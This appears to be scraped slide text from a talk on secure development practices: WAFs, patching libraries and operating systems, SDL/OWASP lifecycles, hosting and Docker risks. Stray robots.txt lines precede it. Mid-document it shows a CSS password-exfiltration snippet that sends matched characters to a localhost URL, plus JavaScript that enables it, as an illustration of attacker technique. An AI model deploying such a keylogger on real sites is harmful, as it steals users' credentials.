Disallow: /search
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
A web application Firewall is a piece of software that sits between your application and the people accessing it. It's not a software level fix like the rest of the items that we have been talking about, and in and of itself it's not a pancea for software security. However it can be an extra layer of help for practicing defense in depth.
There are a couple of solutions that are low cost and offer a lot of performance options as well as protection from attacks.
My personal favorite is nginx reverse proxy with modsec (https://www.modsecurity.org/)
What would you do if you managed to compromise a site but still couldn't get access to the usernames and passwords of the users on the site.
Your adversaries are crafty and they are always looking for a win.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
But if we can do it in CSS why not do it in javascript, because with javascript there are so many more options for obfuscation.
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
The second danger that packages can introduce is that a package that may have been thought to be secure yesterday may not be today.
Newer versions of packages and libraries include security updates that may be needed to keep your application secure.
My recommendation is to, at the beginning of the iteration or update process make sure that all of the libraries in your application are updated to the latest version, that way they get tested as part of your normal release path.
Updating often means that you should be reducing the complications of trying to do major updates across your application all at once.
Available at https://www.microsoft.com/en-us/sdl
Security Training... Your doing it. ;)
OWASP Secure Software Development Life Cycle
This project is still very much in the development process, so everything that is in here is subject to significant change.
Available at https://www.owasp.org/index.php/OWASP_Secure_Software_Development_Lifecycle_Project
Just like the Libraries you need to make sure that you are updating all of the items that you rely on.
Examples:
You need to make sur that the underlying operating system of your application is patched and up to date.
Yeah... This Shouldn't Need to be Said, however some groups specifically IT orgs that have suffered failures in the past and teams without deployment teams can often fall into the space where this doesn't draw the same level of effort because it's something thats easily forgotten.
In a shared hosting situation you have to be very careful since you are in a shared environment. For example setting a file with the 777 permission is significantly more dangerous in a situation where other people have access to the box.
Hosting companies are HUGE targets for drive by hacking.
In the event that there is an issue with the hosting company you need to make sure that you have a back up plan in place to make sure you can migrate quickly.
Again Backups.
Seriously, at the very least make sure that they are updated at the time of release. Failure to patch the underlying version of the operating system means that any components that are included in the operating system now becomes another level of attack.
Got a cool app that you want to deploy, be careful using joe-bobs redis image. Docker images are a known vector of attack, since they have the possibility to include out of date software, default passwords, and potentially malicious code.
I hope that you have gotten a lot out of this.
Feel free to reach out to me @punkcoder or by email at